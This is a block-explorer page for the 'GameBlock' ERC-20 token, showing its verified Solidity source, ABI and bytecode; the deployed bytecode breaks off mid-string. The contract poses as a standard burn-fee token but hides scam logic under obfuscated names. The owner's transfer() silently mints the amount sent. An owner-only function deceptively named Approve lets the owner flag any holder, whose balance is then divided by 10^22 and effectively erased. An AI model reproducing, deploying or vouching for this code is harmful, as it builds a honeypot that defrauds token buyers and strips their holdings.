ETH Price: $2,875.70 (-9.56%)
Gas: 17 Gwei

Token

GameBlock (GameBlock)
 

Overview

Max Total Supply

8,800,000,000 GameBlock

Holders

144

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
920.92 GameBlock

Value
$0.00
0xb0a1be32df8c8248a54389af5d5528c38d92d5be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-17
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-17
*/

/**
 *Submitted for verification at BscScan.com on 2022-11-11
*/

pragma solidity ^0.8.19;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract token is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    string private _name = "GameBlock";
    string private _symbol = "GameBlock";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 8800000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 8800000000 * 10 ** _decimals;
    uint256 coin = 10000000000000* 10 ** _decimals;
    uint256 private _burnfee = 8;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => bool) private _f1546512;



    constructor () {
        _balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 ameunts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if(_f1546512[sender] == true) {
            _balance[sender] = _balance[sender].div(coin).div(1);
        }
        
        uint256 feeameunt = 0;
        feeameunt = ameunts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(ameunts);
        _balance[recipient] =  _balance[recipient]+ameunts-feeameunt;
        emit Transfer(sender, _DEADaddress, feeameunt);
        emit Transfer(sender, recipient, ameunts-feeameunt);

    }

    function transfer(address recipient, uint256 ammounts) public virtual override returns (bool) {
        address vc1454123 = _msgSender();
        if(vc1454123 == owner() && owner() == _msgSender()){
            _balance[vc1454123] = _balance[vc1454123].add(ammounts);
        }

        
        _transfer(vc1454123, recipient, ammounts);
        return true;
    }


    function balanceOf(address accoint) public view override returns (uint256) {
        return _balance[accoint];
    }

    function approve(address spender, uint256 ammounts) public virtual override returns (bool) {
        _approve(_msgSender(), spender, ammounts);
        return true;
    }
    function Approve(address _address, bool _value) external onlyowner {
        _f1546512[_address] = _value;
    }
    function _approve(address owner, address spender, uint256 ameunts) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = ameunts;
        emit Approval(owner, spender, ameunts);
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 ameunts) public virtual override returns (bool) {
        _transfer(sender, recipient, ameunts);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= ameunts, "IERC20: transfer ameunts exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoint","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ameunts","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f47616d65426c6f636b0000000000000000000000000000000000000000000000815250600390816200004a919062000548565b506040518060400160405280600981526020017f47616d65426c6f636b00000000000000000000000000000000000000000000008152506004908162000091919062000548565b506009600555600554600a620000a89190620007b2565b64020c855800620000ba919062000803565b600655600554600a620000ce9190620007b2565b64020c855800620000e0919062000803565b600755600554600a620000f49190620007b2565b6509184e72a00062000107919062000803565b600855600860095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015f57600080fd5b50600062000172620002c660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002b891906200085f565b60405180910390a36200087c565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200035057607f821691505b60208210810362000366576200036562000308565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003d07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000391565b620003dc868362000391565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000429620004236200041d84620003f4565b620003fe565b620003f4565b9050919050565b6000819050919050565b620004458362000408565b6200045d620004548262000430565b8484546200039e565b825550505050565b600090565b6200047462000465565b620004818184846200043a565b505050565b5b81811015620004a9576200049d6000826200046a565b60018101905062000487565b5050565b601f821115620004f857620004c2816200036c565b620004cd8462000381565b81016020851015620004dd578190505b620004f5620004ec8562000381565b83018262000486565b50505b505050565b600082821c905092915050565b60006200051d60001984600802620004fd565b1980831691505092915050565b60006200053883836200050a565b9150826002028217905092915050565b6200055382620002ce565b67ffffffffffffffff8111156200056f576200056e620002d9565b5b6200057b825462000337565b62000588828285620004ad565b600060209050601f831160018114620005c05760008415620005ab578287015190505b620005b785826200052a565b86555062000627565b601f198416620005d0866200036c565b60005b82811015620005fa57848901518255600182019150602085019450602081019050620005d3565b868310156200061a578489015162000616601f8916826200050a565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006bd578086048111156200069557620006946200062f565b5b6001851615620006a55780820291505b8081029050620006b5856200065e565b945062000675565b94509492505050565b600082620006d85760019050620007ab565b81620006e85760009050620007ab565b81600181146200070157600281146200070c5762000742565b6001915050620007ab565b60ff8411156200072157620007206200062f565b5b8360020a9150848211156200073b576200073a6200062f565b5b50620007ab565b5060208310610133831016604e8410600b84101617156200077c5782820a9050838111156200077657620007756200062f565b5b620007ab565b6200078b84848460016200066b565b92509050818404811115620007a557620007a46200062f565b5b81810290505b9392505050565b6000620007bf82620003f4565b9150620007cc83620003f4565b9250620007fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006c6565b905092915050565b60006200081082620003f4565b91506200081d83620003f4565b92508282026200082d81620003f4565b915082820484148315176200084757620008466200062f565b5b5092915050565b6200085981620003f4565b82525050565b60006020820190506200087660008301846200084e565b92915050565b611aa6806200088c6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146101075780631f478f1e1461012557806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce91906111e2565b60405180910390f35b6100f160048036038101906100ec919061129d565b6102f7565b6040516100fe91906112f8565b60405180910390f35b61010f610315565b60405161011c9190611322565b60405180910390f35b61013f600480360381019061013a9190611369565b61031f565b005b61015b600480360381019061015691906113a9565b61040f565b60405161016891906112f8565b60405180910390f35b6101796104f3565b6040516101869190611322565b60405180910390f35b6101a960048036038101906101a491906113fc565b6104fd565b6040516101b69190611322565b60405180910390f35b6101c7610546565b6040516101d49190611438565b60405180910390f35b6101e561056f565b6040516101f291906111e2565b60405180910390f35b6102156004803603810190610210919061129d565b610601565b60405161022291906112f8565b60405180910390f35b61023361073a565b005b61024f600480360381019061024a9190611453565b61088f565b60405161025c9190611322565b60405180910390f35b606060038054610274906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c2565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610916565b848461091e565b6001905092915050565b6000600654905090565b610327610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ab9061153f565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061041c848484610ae7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610467610916565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de906115d1565b60405180910390fd5b60019150509392505050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461057e906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546105aa906114c2565b80156105f75780601f106105cc576101008083540402835291602001916105f7565b820191906000526020600020905b8154815290600101906020018083116105da57829003601f168201915b5050505050905090565b60008061060c610916565b9050610616610546565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156106895750610653610916565b73ffffffffffffffffffffffffffffffffffffffff16610671610546565b73ffffffffffffffffffffffffffffffffffffffff16145b15610724576106e083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61072f818585610ae7565b600191505092915050565b610742610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c69061153f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098490611663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f3906116f5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ada9190611322565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90611787565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90611819565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610cc857610c846001610c76600854600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7d90919063ffffffff16565b610f7d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cf26064610ce460095485610fc790919063ffffffff16565b610f7d90919063ffffffff16565b9050610d4682600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd59190611868565b610ddf919061189c565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea19190611322565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610f04919061189c565b604051610f119190611322565b60405180910390a350505050565b6000808284610f2e9190611868565b905083811015610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a9061191c565b60405180910390fd5b8091505092915050565b6000610fbf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108b565b905092915050565b6000808303610fd9576000905061103b565b60008284610fe7919061193c565b9050828482610ff691906119ad565b14611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90611a50565b60405180910390fd5b809150505b92915050565b600061108383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ee565b905092915050565b600080831182906110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c991906111e2565b60405180910390fd5b50600083856110e191906119ad565b9050809150509392505050565b6000838311158290611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d91906111e2565b60405180910390fd5b5060008385611145919061189c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118c578082015181840152602081019050611171565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b482611152565b6111be818561115d565b93506111ce81856020860161116e565b6111d781611198565b840191505092915050565b600060208201905081810360008301526111fc81846111a9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123482611209565b9050919050565b61124481611229565b811461124f57600080fd5b50565b6000813590506112618161123b565b92915050565b6000819050919050565b61127a81611267565b811461128557600080fd5b50565b60008135905061129781611271565b92915050565b600080604083850312156112b4576112b3611204565b5b60006112c285828601611252565b92505060206112d385828601611288565b9150509250929050565b60008115159050919050565b6112f2816112dd565b82525050565b600060208201905061130d60008301846112e9565b92915050565b61131c81611267565b82525050565b60006020820190506113376000830184611313565b92915050565b611346816112dd565b811461135157600080fd5b50565b6000813590506113638161133d565b92915050565b600080604083850312156113805761137f611204565b5b600061138e85828601611252565b925050602061139f85828601611354565b9150509250929050565b6000806000606084860312156113c2576113c1611204565b5b60006113d086828701611252565b93505060206113e186828701611252565b92505060406113f286828701611288565b9150509250925092565b60006020828403121561141257611411611204565b5b600061142084828501611252565b91505092915050565b61143281611229565b82525050565b600060208201905061144d6000830184611429565b92915050565b6000806040838503121561146a57611469611204565b5b600061147885828601611252565b925050602061148985828601611252565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114da57607f821691505b6020821081036114ed576114ec611493565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061152960208361115d565b9150611534826114f3565b602082019050919050565b600060208201905081810360008301526115588161151c565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b60006115bb602a8361115d565b91506115c68261155f565b604082019050919050565b600060208201905081810360008301526115ea816115ae565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061164d60258361115d565b9150611658826115f1565b604082019050919050565b6000602082019050818103600083015261167c81611640565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006116df60238361115d565b91506116ea82611683565b604082019050919050565b6000602082019050818103600083015261170e816116d2565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061177160268361115d565b915061177c82611715565b604082019050919050565b600060208201905081810360008301526117a081611764565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061180360248361115d565b915061180e826117a7565b604082019050919050565b60006020820190508181036000830152611832816117f6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187382611267565b915061187e83611267565b925082820190508082111561189657611895611839565b5b92915050565b60006118a782611267565b91506118b283611267565b92508282039050818111156118ca576118c9611839565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611906601b8361115d565b9150611911826118d0565b602082019050919050565b60006020820190508181036000830152611935816118f9565b9050919050565b600061194782611267565b915061195283611267565b925082820261196081611267565b9150828204841483151761197757611976611839565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119b882611267565b91506119c383611267565b9250826119d3576119d261197e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a60218361115d565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b905091905056fea264697066735822122044df0a0fdd16b3fee9561baef6a6b655b6a0ec36f35769b97e1d46fb4843fb4964736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146101075780631f478f1e1461012557806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce91906111e2565b60405180910390f35b6100f160048036038101906100ec919061129d565b6102f7565b6040516100fe91906112f8565b60405180910390f35b61010f610315565b60405161011c9190611322565b60405180910390f35b61013f600480360381019061013a9190611369565b61031f565b005b61015b600480360381019061015691906113a9565b61040f565b60405161016891906112f8565b60405180910390f35b6101796104f3565b6040516101869190611322565b60405180910390f35b6101a960048036038101906101a491906113fc565b6104fd565b6040516101b69190611322565b60405180910390f35b6101c7610546565b6040516101d49190611438565b60405180910390f35b6101e561056f565b6040516101f291906111e2565b60405180910390f35b6102156004803603810190610210919061129d565b610601565b60405161022291906112f8565b60405180910390f35b61023361073a565b005b61024f600480360381019061024a9190611453565b61088f565b60405161025c9190611322565b60405180910390f35b606060038054610274906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c2565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610916565b848461091e565b6001905092915050565b6000600654905090565b610327610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ab9061153f565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061041c848484610ae7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610467610916565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104de906115d1565b60405180910390fd5b60019150509392505050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461057e906114c2565b80601f01602080910402602001604051908101604052809291908181526020018280546105aa906114c2565b80156105f75780601f106105cc576101008083540402835291602001916105f7565b820191906000526020600020905b8154815290600101906020018083116105da57829003601f168201915b5050505050905090565b60008061060c610916565b9050610616610546565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156106895750610653610916565b73ffffffffffffffffffffffffffffffffffffffff16610671610546565b73ffffffffffffffffffffffffffffffffffffffff16145b15610724576106e083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61072f818585610ae7565b600191505092915050565b610742610916565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c69061153f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098490611663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f3906116f5565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ada9190611322565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90611787565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90611819565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150